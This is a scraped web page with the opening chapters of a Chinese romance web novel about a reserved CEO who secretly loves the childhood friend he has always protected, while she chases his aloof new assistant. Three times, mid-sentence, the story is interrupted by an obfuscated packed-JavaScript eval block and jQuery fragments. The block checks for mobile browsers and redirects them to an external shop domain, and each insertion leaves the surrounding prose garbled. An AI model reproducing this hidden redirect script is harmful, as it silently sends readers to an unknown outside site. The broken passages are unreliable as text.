《独占青梅》
1. 竹马哥
手机一直在响,秦越没空理,但对方向来闲得慌,他不接他会继续打。
“有事?”
听出他话里的冷淡和不耐,那边嚯了声:“你知道了?”
秦越没空听他打哑谜:“挂了。”
“别别别——我有正事儿!”
秦越把手机开了扩音扔旁边。
“其实也没什么,就昨儿晚上我在酒点半喝酒,结束出来刚好看到了你妹妹。”
最后两字,厉旭语调刻意。
秦越眉峰轻蹙,他没开口,听对方下文。
“她和一个长得挺好看,挺白净清瘦一男的站一块儿。”
“你猜怎么着,她想送他,结果人家压根瞧不上她那辆跑车,钻公交车上就走了。”
“那大小姐被你宠上天,我还是头一回看她吃瘪哈哈哈哈!”
电话那端传来几声看热闹的笑,秦越垂眼,目光掠过面前繁复的合同条款,随手翻过一页。
秦越始终没搭腔,等那边终于消停,他道:“说完了?”
“完了。”
“挂了。”
“诶不是,等等——”
厉旭扬声叫住他,不太满意自己的八卦情报送过来就得到这么平平淡淡的反应。
厉旭纳了闷:“以前那大小姐身边但凡冒出个追求者,你不出一天就把人家祖宗十八代查了个透,这次怎么这么冷静?”
厉旭略一停顿:“也是,这次不同,不是别人要追她,是她难得看上了别人。”
安静两秒,秦越语气平淡:“我知道他是谁。”
“难怪。”
厉旭促狭一笑:“不过要真给她追上了,你还能这么淡定吗?”
“说实话,我是真想知道你能按捺到什么时候。”
秦越语气冷了几分:“管好你的嘴。”
“放心,我嘴严得很,什么都不说。”厉旭叼着烟,在那头笑得很欠:“绝对不破坏你在她心目中竹马好哥哥的完美形象。”
秦越依旧一脸淡漠,仿佛泰山崩于前照样面不改色。
厉旭废话连篇,秦越手边一堆事儿,应付完两句,直接挂断电话。
偌大的办公室恢复安静,周遭精简的陈设,灰白的墙面,无处不透着一股和它的主人一样不容逾越的严肃与冷静。
片刻后,玻璃门被敲响,总助于格拿着两份待审批文件走进来。
“秦总。”于格把文件放下,退后站定:“邵总来电,说他手上有一颗缅甸无烧鸽血红宝石要出售,问您有没有兴趣。”
盛夏季节,晴光穿透玻璃窗笼住坐在办公桌后的年轻男人。
黑色西装,同色领带。
再往上是一张冷峻的面孔,眉骨凌厉,不苟言笑,透出上位者的威严。
秦越在这之前已经接到邵总本人的电话,他手上那颗宝石的纯度难得一见,也够漂亮。
她应该会喜欢。
钢笔划过纸面留下利落的签名,秦越淡声道:“买下来。”
毫无意外的答案,于格点点头,拿出手机开始安排购入流程。
这一年来,海市但凡有人要出手宝石原石,总会先来打听秦越的意向。
秦越并没有收藏宝石的爱好,信恒集团更没有涉足珠宝行业的计划。
秦越之所以开始到处收购宝石原石,是因为一个人,周家的小女儿周乐惜。
周晖和沈惠心夫妻恩爱多年,情比金坚,生有两个女儿。
小女儿周乐惜自幼体弱,被全家小心翼翼捧在手心呵宠长大,可谓要风得风,金尊玉贵。
大学毕业后,周乐惜当过咖啡馆主理人,开过花店,服装品牌店,甜品店,手工艺品店。
无一例外全都倒闭了。
周父看不下去了,苦口婆心劝道:“小祖宗,你就好好吃喝玩乐,每天一睡醒想着怎么花我和你妈的钱就行,别再突然来个灵机一动了。”
周晖倒不是心疼钱,他有的是钱。
他只是不忍心看女儿一次次信心十足,最后面临闭店的颓废,还要怪他送给她的发财树叶子颜色不对。
后来,周乐惜又灵机一动,开始收购高品质的珠宝原石,再经过设计加工制作成首饰出售。
和从前那些三分钟热度的爱好不同,珠宝设计这条正道,周乐惜竟然坚持走了一年多,有模有样的作品也设计出不少。
半年前,经她手的一条黄钻项链还被业内一位珠宝收藏家给高价买走了。
周乐惜一扫前耻,洋洋得意,那段时间走路都带风。
周父:“哟,可别被风吹跑了。”
沈母瞪了丈夫一眼,毫不客气揭露:“你爸之前还想让他几个朋友私底下扮演买家来支持你呢。”
身为长姐的周敏宜向来冷静持重,即便谈成百万级的合作也从未显露半分得意之色,看了妹妹的珠宝设计图,她的脸上却满是骄傲。
“不愧是惜惜,姐姐就知道你很厉害。”
周乐惜是全家捧在手心的小公主。
而作为三岁那年便守候在产房外等候小公主诞生的秦越,作为一起长大的青梅竹马,他更是将这份保护延续成了无条件的支持。
于格进入集团给秦越当总助这几年,身为旁观者看着,不禁感慨。
只是一起长大的情分就宠成这样,周二小姐要真是秦总的亲妹妹,秦总怕不是每天都会给小公主摘星捞月。
不过现在也差不多了。
只要周小姐开了口的,秦总就没有拒绝过。
哦,倒是有一样!
几天前,于格无意间听到,周小姐似乎是进入了设计灵感的瓶颈期,闲着无事,便想要来他们总裁办体验生活。
言下之意是要来他手底下做事,于格那叫一个诚惶诚恐。
总裁办的工作强度哪是养尊处优的大小姐能适应的。
好在,秦总给拒绝了。
-
叮咚两声。
秦越的手机进来一则新消息。
于格暂停工作汇报。
秦越垂眸,伸手点开语音条。
“秦越,我还有五分钟就到啦!”
清脆悦耳的声音传了出来,带着雀跃的笑,像春天扑棱振翅的莺,充满生命力。
秦越:“继续。”
于格点点头,接着开口汇报集团目前几个重要项目的进度。
秦越听,偶尔问询一些关键信息。
忽然,于格眼尖发现,秦总看了一次腕表,没多久又看了一次腕表。
于格也跟着看了眼自己的腕表。
是哦。
周小姐不是说还有五分钟就到,现在都快过去十分钟了。
她怎么还没有出现。
正想着,身后两扇玻璃门忽然被人推开,一道身影熟门熟路地走了进来。
余光瞧见那张清俏的面容似乎写满了不高兴。
“周小姐。”于格礼貌垂首,很有眼力见地抱着文件出去了。
-
周乐惜就没见过比许亭还冷冰冰的男人,简直油盐不进!
昨晚恰巧在路上偶遇他,她热心地想要送他回家,他说不麻烦,有公交车直达。
她刚才亲自给他送去下午茶,他说谢谢,他不吃甜食。
想着这段时间接连被拒绝的挫败,周乐惜被气得不轻,不停揪着手边发财树的叶子。
眼看油亮亮的叶子快要被薅光,一只大手终于越过办公桌伸了过去,握住她细瘦的腕骨凹陷处。
“放过它。”
周乐惜垂眸,视线落在那只手上,修长,有力,手背浮着淡青色的血管,骨关节处是健康的淡粉色。
她抬眸,对上一双幽深的眼睛。
周乐惜轻轻努嘴,把手挣脱出来:“小气,还不是我送给你的。”
秦越防着她,把盆栽移远。
周乐惜:“……”
周乐惜没跟他计较,忽然想起今天来找秦越还有别的正事。
她立刻蹦回沙发茶几那边,把自己带过来的下午茶甜品拎过来。
利落拆开包装,堆起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179119|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老实地笑。
最后把甜品挪到秦越面前。
她正要开口——
秦越:“我这不缺人。”
周乐惜当没听见,继续抛出诱人的条件:“我不要工资,免费劳动力,不迟到不早退,什么都不要,我任劳任怨!”
秦越的视线落在电脑屏幕上,连眼皮都没抬一下。
见他不理自己,周乐惜绕过长条办公桌走到他身旁,一手撑着桌面,另一只手握住秦越的手臂,摇了摇。
“我向你保证还不行吗,上班时间我一定老老实实工作,绝对不打扰同事,您说什么我就做什么!”
您都用上了,在这给他抬辈分。
秦越终于看她一眼,又淡淡收回视线:“你没这么听话。”
周乐惜噎住。
气死人了!从小一起长大就这点不好,但凡她有一点点小诡计,在秦越面前都藏不住。
好吧,周乐惜的确不是真心想来信恒上班,她只是想借机多认识许亭。
想离他近一些。
近水楼台才好追人嘛。
周乐惜松开秦越的手臂,改用一根手指轻轻戳他两下:“那你别给许亭安排那么多工作,每次我想约他吃饭,他都说要加班。”
“每次?”
“对啊。”
“约了几次?”
这人怎么还反复贴脸她的挫败事儿,周乐惜瞪圆了眼:“你无须知道细节!”
她难道还拿小本儿记下来吗,反正一次都没约到就是了!
“可以。”秦越后仰靠到椅背,目光落在周乐惜身上,随即抬手,轻拍自己大腿:“你坐我这个位置,就可以给他调整工作了。”
周乐惜:“……”
周乐惜视线往下看。
秦越常年健身,黑色西裤包裹下的肌肉轮廓紧实有力。
周乐惜移开目光,小声嘀嘀咕咕:“敢让我做老板,一天就把你信恒败光光……”
她投资什么就亏什么的响亮名声可不是吃素的。
看来近水楼台这条路是走不通了。
周乐惜想到信恒出了名的高压工作模式,她轻轻哼了一声,放弃了。
“巴斯克别忘了吃掉。”
知道秦越不喜欢太甜的,周乐惜特地让甜品师做的低糖。
夏日燥热,周乐惜一身薄荷蓝纱裙仿佛自带降温滤镜。
她就像一只灵动的蓝闪蝶,在枯燥无趣的工作日闯入他的办公室大门,翩跹而至,明媚鲜活。
“晚上想吃什么,我带你去。”
秦越看着她,又看了眼腕表,他接下来的工作安排也可以全部推后。
在他这里,和周乐惜有关的事情永远排在首位。
周乐惜转过身:“今晚没空啦,我有安排了。”
听出她语气里的轻快,秦越一顿。
安静两秒,他问:“跟谁?”
周乐惜:“灵灵啊,今晚我们要去看演唱会,票很难抢,还是让你给我们买的,你忘啦?”
秦越神色如常,也已经想起来了。
那是一个下午,他会议开到一半,接到她火急火燎要他帮忙抢票的电话。
周乐惜的追星并不狂热,她的兴趣和喜爱甚至一向来得快,去得更快。
她曾经喜欢过一个男演员,为他发过很多条朋友圈,配图他演的角色剧照,她甚至加入粉丝后援会,大老远跑去剧组探班。
后来那个男演员来海市商演,就在家门口她也懒得去看。
周乐惜还喜欢过一个当红的男歌手,凡是他的代言她一件不落地买了个遍。
后来那个男歌手发布新歌,她无意间听到了,皱眉问:谁唱的这么难听?
今晚她要去看的演唱会,是个选秀出道没多久的男歌手,正有热度,最近也没少出现在周乐惜的朋友圈。
以秦越对周乐惜的了解,她这份热爱多半也持续不了多久。
就像她忽然说喜欢许亭,在秦越看来,同样是三分钟热度。
他压根没放在心上。
2. 窝边草
一个月前的某个晚上。
周乐惜从珠宝展会离开,路上,她一边嚼着薄荷糖,一边跟着车载音乐轻哼。
周乐惜喜欢珠宝展上的璀璨夺目,也同样享受当下这一刻,黑夜,雨雾天,雨刮器低频摆动,有种世界末日即将来临的失序感。
踩下油门,加速变道,轮胎碾过湿滑的辅路入口。
两旁绿化茂密,这段路的路灯竟然是坏的,周乐惜还没反应过来,一个人影忽然在她车前栽了下去。
这一瞬间,周乐惜心脏几乎停跳,她立刻踩死刹车。
解开安全带,推开车门,雨点拍打在她脸上,周乐惜顾不得撑伞,赶紧走过去。
当看到自己的车头和摔倒那人中间还隔着很长的一段距离,周乐惜愣了愣。
雨雾里。
那人自己摇摇晃晃站了起来。
“对不起对不起!我不是故意的,您有没有受伤?要不要叫救护车……”
周乐惜冲到对方跟前搀扶他。
年轻男人脸色青白,微湿的白衬衫紧贴着嶙峋的锁骨,睫毛上也挂着水珠,整个人透出一种可怜的易碎感。
“我低血糖,与你无关。”
对方丢下这句,转过身。
“低血糖也是很危险的,你慢点!”
周乐惜匆忙回车里抓了伞,重新追上他,半拽半扶地把他弄进了街边的二十四小时便利店里。
周乐惜把他安置在窗前的高脚椅上,买来一杯果汁和一包糖果。
周乐惜的车子还停在马路中央:“你在这里等一等我,我去把车挪一下。”
对方说到底还是被她略快的车速惊到才会摔倒。
要不然还是把他送去医院做个检查好了,无接触事故她也是有责任的。
等周乐惜把车停好,赶回便利店,却只剩空荡荡的椅子。
桌上那杯饮料对方只喝了一小口,旁边的糖果原封不动。
周乐惜凑近一看,饮料杯下还压着一张二十块钱。
周乐惜长这么大还没被人用这种方式‘送’过钱,印象可谓深刻。
在那一周后。
秦越结束一个项目洽谈会,顺路去机场接度假回来的周乐惜。
开车的是于格,下来帮她提行李箱,副驾也同时下来一个年轻男人。
秦越身边的几个助理周乐惜全认识,这个大概是新招的。
周乐惜随意打量,看清对方的脸后,目光从诧异到惊喜:“二十块!是你啊!”
-
从秦越的办公室出来,周乐惜三步一停顿,最后还是忍不住,又溜进了右手边的大办公室里。
许亭的位置在靠窗的角落,整洁的办公桌上同样放着一份甜品,包装完整还没被打开。
他说不爱吃甜食,可也没扔掉。
似乎还把甜品盒往里放了放,避免谁路过不小心碰撞到。
“差点忘了,这个给你。”周乐惜从包里拿出一片创可贴放到许亭桌上。
许亭的手背有一道划痕,是被订书针不小心勾到的,露了淡淡血丝。
许亭沉默,这么点小伤口,他根本没有在意。
周乐惜瞅着他:“要我帮你贴吗?”
“不用。”
顿了顿,许亭不自然地道:“…谢谢。”
“不客气不客气。”
周乐惜弯唇笑,话说完她也不急着走,就这么肆无忌惮地继续看着他。
许亭人很清瘦,皮肤有种少晒阳光的白,乌黑的碎发垂下来,盖住一点眉毛,他的眼瞳偏棕色,显得气质更加清冷。
这间大办公室一共坐着八名员工,另外七个人的目光已经忍不住朝他们看了过来。
薄荷蓝的裙子很挑人,却衬得周乐惜的肤色更加白皙。
在那张脸面前,她颈间那条本该璀璨夺目的钻石项链被降低了存在感,变成了沉默的陪衬。
最让人过目不忘的还是她那双眼睛,清透,明亮,眉尾又带着一点上挑,将那份被万千宠爱长大的骄矜与高贵映衬得恰如其分。
一个是家境优渥的千金小姐,一个是没背景长得俊的小助理,简直太有八卦看头。
不过这些人都知道周乐惜的身份,没敢出声打趣,但管不住探究的余光。
许亭很不习惯成为众人的焦点,长年独来独往的生活甚至让他生出几分孤僻。
他暗暗攥了攥手心,低声开口:“周小姐,我还要工作,你,你还有事吗?”
周乐惜轻轻嘿了声,歪头笑:“认识你这么久,你还是第一次对我说这么长的一句话呢。”
在这之前,他对她说的都是:谢谢,不必,不用,要加班,再见。
许亭:“……”
“还有,”周乐惜叹了口气,带着几分遗憾说:“我叫周乐惜,我们都认识一个月了,你难道还没记住我的名字吗?”
快乐,珍惜,连名字都藏着家人对她满满的爱意,旁人又怎么可能记不住。
捕捉到她语气里的失落,许亭抿着唇,沉默两秒,低声道:“不是。”
周乐惜眼睛一亮,正要趁热追击继续说些什么——
“周小姐,秦总让我送您下去。”
于格不知何时出现,笑眯眯地站在了周乐惜身后。
于格快速扫过许亭那张白俊的侧脸,忽然间心领神会。
难怪周小姐突然想来他们总裁办体验生活。
原来是想吃窝边草啊!
周乐惜不知道于格在想什么,她的目光越过他的肩头,尽头那边就是秦越办公室的玻璃隔断。
单向玻璃,从外面看不清里面。
但周乐惜总感觉,此刻秦越正立身于那片透明玻璃之后,盯着她。
她也没干什么啊,就这么提防她骚扰他的员工。
还真是个好老板呢。
周乐惜轻撇嘴角,转身朝许亭道:“那我先走啦,下次见。”
许亭默然,垂眸掠过那片印着小熊图案的创可贴,以及那份昂贵精致的甜品。
他们不是一路人。
何必再有下次见。
-
距离晚上的演唱会开始还有几个小时,周乐惜约乌灵先去打一场室内网球。
白色宾利停在场馆门口。
没多久,一辆红色法拉利敞篷超跑由远及近开了过来。
乌灵从车上下来,墨镜遮面,黑裙贴身,黑色长直发垂在肩头。
看见周乐惜,她红唇一扬,整个人飒爽又妩媚。
两人在VIP室更换运动服。
周乐惜只想简单出出汗,没打太久,毕竟还要留点力气,在演唱会现场扯嗓子跟唱。
“怎么了?”
见她一脸意兴阑珊,乌灵拧开矿泉水给她,自己再拧开一瓶,喝了一口,问她:“该不会是还没追上那个许什么……”
“许亭!”
“对。”
说起这个周乐惜更加小脸一垮,这是她长这么大第一次追人,结果一点成就感都没有!
乌灵:“追男人还不简单,你就投其所好呗,他喜欢什么你就给他买什么,使劲砸他,再冷的心都能给他砸个对穿。”
周乐惜挠耳朵:“可我还不是很了解他……不知道他喜欢什么。”
“那就先了解他,再拿下他。”
乌灵一副过来人游刃有余的口吻:“放心,男人比狗都好追。”
周乐惜深吸口气,瞬间重燃斗志,晚上坐在演唱会前排A区,到了跟唱环节使劲嚎嗓子,攥着荧光棒手臂甩得像风火轮。
结束后的合照环节,周乐惜刚一走近,就闻到了男歌手身上浓郁的香水味。
好难闻啊,她拧了拧眉。
周乐惜长得乖,一脸甜美无害相,但她其实是个精神上非常挑剔的人,她的喜欢来得快,但也极其容易因为一些细节,瞬间下头。
乌泱泱的人群从场馆门口一点点往外散。
乌灵揪掉头发上的一片彩片,说:“我不送你了。”
周乐惜眨眨眼:“啊,那我怎么回去?”
下午网球结束后,周乐惜带乌灵回了周家吃晚饭,再出来她便没开车,坐乌灵的车。
乌灵朝前方扬扬下巴:“那位来了,用不着我。”
人潮中,年轻男人修长的身影斜倚在迈巴赫漆黑车侧,左手漫不经心地插在西裤兜里,路灯照亮他冷峻的侧脸。
已经有不少人朝他看过去,可感受到他生人勿近的气场,却也只敢远观一眼,没勇气拿手机过去要微信。
乌灵是独生女,小时候还挺羡慕周乐惜有这么一个随时接送的竹马哥哥。
“走了。”乌灵朝另一边的停车场去。
周乐惜点点头,和她错开走,拎着包朝秦越走去,鼻尖慢慢捕捉到一缕清洌的气息,她一双眼睛瞬间亮了起来。
像闻到了猫薄荷的小猫,周乐惜三步并作两步凑近秦越。
眼看越来越近。
秦越抬手,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179120|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
按住她脑门:“干什么?”
话匣当即被打开,周乐惜噼里啪啦地就开始吐槽男歌手身上齁人的香水味。
几次高音上不去就在那硬喊也被坐在前排的她听得清清楚楚。
秦越好整以暇看她,眼底浮现出意料之中的淡笑。
周乐惜说着话,暗自又深吸两口,她正沉浸式洗涤鼻腔,后颈突然被轻轻按住。
掌心力道微微压着,秦越让她靠近自己,又控制在一定的安全距离内。
“你送的香水。”头顶落下一道低沉嗓音。
周乐惜恍然抬眸:“…对哦!”
她记起来,是上次和乌灵逛街在香水专柜挑的。
乌灵当时还说她,这条领带适合秦越,那瓶香水也适合秦越,你怎么看什么都想给秦越买。
周乐惜又闻了闻。
淡淡的矿物木质香,沉稳可靠。
不愧是惜惜严选,她品位绝了!
周乐惜换下了下午的裙子,现在穿着一身挂脖的背心搭配黑短热裤,发间和眼尾都点缀了亮片,细碎闪光。
秦越指腹虎口隔着长发贴在她后颈,看着她明亮含笑的眼睛,纯粹得一眼就能看到底,里面有什么,没有什么,都一清二楚。
他若无其事收回手,侧身拉开副驾车门。
周乐惜的手机自动连接秦越的车内蓝牙,她打开自己的歌单播放。
车子平稳驶过城市霓虹高楼,周乐惜把车窗降下,任凭晚风吹进来。
路灯的光掠过车窗,忽明忽暗中,周乐惜扭头看向秦越。
同样是白衬衫,穿在秦越身上,肩线挺括,张弛有度,气场强大而冷静。
许亭则是用清瘦的骨架撑起来的,像被风吹刮的青竹,单薄得让周乐惜总忍不住想伸手扶他一把。
周乐惜:“哥哥。”
周家小公主尚在襁褓时,便生得脸蛋饱满,粉雕玉琢,一双小拳头攥得紧紧的。
洛苓满目喜爱地看着小婴儿,转头对旁边躺在病床上的闺蜜轻声说:“惜惜太可爱了,看得我的心都要萌化了!”
紧接着,洛苓弯下腰,对站在自己身边,睁着好奇大眼睛的三岁小男孩说:“儿子,这是你惜惜妹妹,从今天开始你就当哥哥了,以后你可要好好保护她哦。”
小公主从蹒跚学步到会跑会跳,最喜欢跟在秦越身后脆生生地喊哥哥,声音甜得像蜜糖。
周乐惜长大后,喊秦越哥哥的次数比小时候少了,每次突然冒出一句,都意味着她又有了什么‘坏’主意。
久违的乖巧柔声传来,秦越握着方向盘,冷静目视前方,不为所动。
周乐惜:“…哥?”
周乐惜:“秦越!”
红绿灯,秦越侧过身,昏暗中一双深眸看向她,无声询问。
不知道为什么,被秦越这样看着,周乐惜莫名心虚,两根手指暗暗搅了搅。
周乐惜清咳两声:“哥哥,你能不能…把许亭的简历发一份给我?”
“要来干什么。”
秦越看着她:“把人挖走给你打工?”
“不是。”
周乐惜声音不自觉压小了点儿:“我想多了解了解他……”
绿灯亮起,秦越转头,他不开口,周乐惜便保持一双手放在膝盖上乖乖等着的动作。
片刻后,秦越不紧不慢道:“给不了,我有义务保护员工隐私。”
周乐惜马上道:“那你把他的微信推给我。”
说出去估计都没人信,她追许亭大半个月了,连他的微信都还没加上。
秦越:“没有。”
周乐惜虽然人还坐在副驾,但灵魂已经被气出车顶转了两圈。
秦越:“他的直接上司是于格。”
周乐惜:“…哦。”
也对,秦越手下助理秘书那么多,怎么可能每一个都加微信。
没关系,她有于格微信,让他给她推许亭名片就好了!
周乐惜立马拿起手机。
夜色沉沉,车子继续行驶,周围高楼渐渐隐去,即将抵达住宅区。
秦越:“你认真的?”
周乐惜低着头在敲字:“什么?”
又一阵寂静。
“许亭。”秦越嗓音变得沉哑。
闻言,周乐惜抬头,气势十足地宣布:“当然了,我确定我对许亭一见钟情了!”
秦越踩下刹车,双手不动声色地攥紧方向盘,指节因为用力而渐渐泛白。
3. 是哥哥
周乐惜被秦越放在了小区大门口。
以往他都是直接开到她家门口的,他的车牌又不是识别不了闸门。
周乐惜疑惑偏头,试图从副驾车窗往里张望。
下一秒,秦越踩下油门扬长而去,留给她一屁股尾气。
周乐惜:“?”
迈巴赫驶离别墅区,最后停进了一处树影茂密的街边。
打火机咔嗒声响,秦越长指夹烟凑到唇边,他降下车窗,白雾散开,遮住那张添了几分冷戾的脸。
几粒烟灰忽然落在了他的手背上,秦越却仿佛毫无知觉,任由那种钻心的灼烧刺进皮肤。
时间仿佛在这一刻停滞。
直到手机铃声突兀乍响,秦越缓慢抬起眼皮。
听筒里,厉旭的大嗓门混着他周围的音乐喧闹灌入车厢:“酒点半,阿政和洲白哥都在,来不来?”
秦越听着电话,余光忽然瞥见副驾座椅上有一抹亮晶晶的反光。
他挂了电话,灭了烟,伸手捡过来。
是枚坠着两颗樱桃的红色发夹,原本别在周乐惜的发间。
秦越盯着这枚小东西,指腹缓缓抚过两颗小巧的樱桃装饰,眼底不再掩饰地泛起一丝幽暗。
-
“周小姐,晚上好,”年轻保安微微欠身,语气礼貌道:“需要用摆渡车送您回去吗?”
“不用不用,没几步路,我走回去就好了。”周乐惜摆手。
“好的。”对方微笑目送。
周乐惜沿着林荫人行道慢悠悠往家走,这座位于城郊的别墅区依山傍水,空气宜人,小区总共十三栋独栋别墅错落分布,间隔宽敞。
周家在里面的第八栋。
刷脸通过门禁,周乐惜推开花园南侧的小门步入庭院。
花园地灯明亮。
清雅的桂花香气随风浮动。
妈妈最喜欢桂花,爸爸就在花园里栽了好多株金桂。
花园的南侧还种了一棵非常高大的风铃木,树下环绕着一圈花圃,花圃中间是一个动物墓碑。
周乐惜十岁那年,捡回一条小流浪狗,那天暴雨倾盆,小狗蜷缩在校外的垃圾桶旁发着抖。
宠物医院住了大半个月,才把它的狗命救了回来。
病愈后的小狗变得很活泼,总是摇着尾巴紧紧跟在周乐惜脚边。
周乐惜最喜欢把它抱在腿上晒太阳,和它一起荡秋千,陪它玩飞盘。
直到一个周末,周家全家去临市度假,返程那天下着雨,推开门的瞬间,周乐惜看到小狗湿透的身体瘫在草坪上,小狗得急性病走了。
周乐惜哇哇哭得喘不过气,抱着小狗冷却的小身体怎么都不肯松手。
爸妈和姐姐轮番劝都不管用,直到秦越接到电话急匆匆赶过来。
小狗是周乐惜和秦越一起捡到的,看到他,周乐惜哭得更厉害,整个人往他身上扑。
秦越的肩膀很快被她哭湿了,他抱着她低声安慰,小狗被周父周母安葬在了它平时最喜欢打盹晒太阳的风铃木下。
人的感觉很奇怪,明明没有任何关联,但在那个雨夜,周乐惜‘撞’到许亭的第一眼,他瘦瘦弱弱,白白净净,她莫名就觉得,他很像那只小狗。
“小惜回来啦。”
面相和蔼的中年女人正在收拾岛台,听见脚步声,笑眯眯抬起头。
只有保姆肖阿姨在家,周父周母上周飞去国外考察项目了,还没这么快回来。
姐姐周敏宜和顾家长子顾洲白半年前订婚后就开始两边住。
一般要是她晚上十点还没回来,就是回了她和她老公的新家。
“浴缸给你放好水了,洗完澡要不要吃点夜宵呀?”肖阿姨笑着问。
“不吃啦,我喝杯牛奶就好了,”周乐惜说:“肖姨你煮好了热着就行,去休息吧,不用等我。”
“好。”肖姨温声应下,转身自去厨房煮牛奶。
周乐惜拎着包往旋转楼梯走,嘴里哼着今晚演唱会跟唱的歌。
二楼左侧是她的生活区,右侧是姐姐的,爸妈住在三楼。
周乐惜的房间原本是父母设计的公主房,后来她长大了,有了自己的审美,周父便由着她,让她按照自己的想法重新装修。
推开门,周乐惜第一件事先卸妆,把脸洗干净,她脱了衣服进浴缸泡澡。
于格已经把许亭的微信名片发了过来,周乐惜发送了好友申请,对方还没有同意。
意料之中,周乐惜并不气馁,她喜欢挑战,也有的是耐心。
她长这么大第一次追人,什么都感觉挺新鲜的。
泡完澡,吹干头发,周乐惜裹着浴袍下楼,肖姨的房间已经熄了灯,奶锅在灶台上保温着,冒着徐徐热气。
周乐惜打开杯柜取出一个玻璃杯,往里倒牛奶,指尖贴上杯壁试了试温度,拎起来喝。
琥珀色的酒液滑过喉咙,浓郁的辛辣口感迅速在舌间蔓延。
包厢喧闹,厉旭呼朋唤友叫来一堆人,不远处还支了张牌桌。
秦越独自坐在长条沙发这边,单手拎着玻璃杯,沉默喝着酒。
周围的谈笑声仿佛与他无关。
秦越靠着沙发,懒怠抬眸,目光落在虚空处,脑海里反反复复回荡着一个人的声音。
“是你啊,二十块!”
“那天晚上你干嘛一声不吭就走啦?”
“没想到我们还能再见面,你是秦越的新助理吗?也太巧了吧,你叫什么?”
“我可得谢谢秦越把你带出来,喏,二十块还你!”
带着兴奋和雀跃的声音渐渐飘远,又重新变得清晰。一遍、又一遍地开始在他耳边重复一句话:
我确定我对许亭一见钟情了。
我确定我对许亭一见钟情了。
我确定我对许亭一见钟情了。
一见钟情。
他从三岁就认识她,她刚出生他就抱过她,这四个字大概这辈子都不会落到他头上。
威士忌口感辛辣,秦越神色不变,喉结无声滑动,酒杯再次见底。
贺政精明,顾洲白笑面虎,有这俩高智商人物在的牌桌,厉旭完全只有送钱的份儿,没打几局他就输跑了。
厉旭起身,位置很快被另一个人替上,他扫视一圈,拎着酒杯坐到秦越旁边。
秦越身上带着烟味,神色少了白天的沉稳,眉间隐隐散出一丝冷戾。
“哥。”厉旭坐下,先老实喊人,下一秒就贴脸开大:“你终于急了?”
白天在电话里不还挺淡定的。
秦越瞥他一眼,没说话。
厉旭和周乐惜同样从小相识。
两人的结怨从周乐惜上课偷偷看漫画被厉旭举报给老师开始,从此两人见面针锋相对,吵嘴不断。
从小就是刺头的厉旭,他天不怕地不怕,还爱到处挑事。
直到有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179121|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次,厉旭在校外被五个人围殴,他以一敌五快要吃亏时,是秦越出手解围。
从此厉旭认定了秦越这个大哥。
在他眼里,秦越冷静可靠,小小的老子他很是崇拜。
直到某天放学。
“哥哥——”
“哥哥,我书包重死啦,你帮我拿。”
“哥哥,我今天跑了两圈二百米,腿都软了,走不动路啦,你背我。”
一道娇滴滴的声音由远及近。
处在叛逆期的酷拽哥厉旭最听不得这种起鸡皮疙瘩的撒娇。
他倒要看看是哪个生活不能自理的来缠他大哥。
厉旭从秦越身后探出脑袋,然后就愣住了。
平时像只炸毛小狮子跟他斗嘴的周乐惜,这会儿正仰着脑袋,乖得像只小兔子似的站在秦越面前。
秦越一手接过书包拎着,转身就把周乐惜背了起来。
动作熟练,显然平时没少背人。
周乐惜怡然自得地趴在秦越背上,用双手搂住他的脖子,舒舒服服地晃着双腿,还不时把脸贴在秦越耳边,叽叽喳喳跟他说着话。
直到两人走远,厉旭才反应过来,他难以置信,几次张嘴又闭上。
从那以后,厉旭开始旁观这两兄妹情深,旁观周乐惜在秦越头上‘作威作福’
秦越什么都依着她,连带着厉旭这个‘大哥的小弟’也成了公主跟班。
周乐惜二十岁生日那天。
半山度假别墅,宴客厅,热闹过后大家陆陆续续都散了。
水晶灯下,五花八门的礼物盒堆成了山,作为这些礼物的主人,今晚的主角,周乐惜已经醉得不轻。
她脸颊红晕地躺在沙发上,粉色公主裙摆从沙发散开到地毯上。
秦越坐在沙发边,手指蘸着清凉药膏,涂抹周乐惜雪白小腿上被蚊子叮出的两个包。
今晚的周乐惜无疑是最美的,青春,活泼,明媚,所有人都围着她转,只有秦越注意到她腿上的蚊子包。
喧嚣散尽,四周变得沉寂。
周乐惜半醉半醒,眼睛撑开一条窄缝,知道是秦越,又倦怠地合拢眼睫。
她困得厉害,小腿蹭过他笔挺的西裤面料,粉红的唇瓣因为被蚊虫叮咬的痒意而不满嘟起,轻声咕哝:“秦越,好痒……”
“知道。”他抬手,掌心覆上她雪白的足踝:“别乱动。”
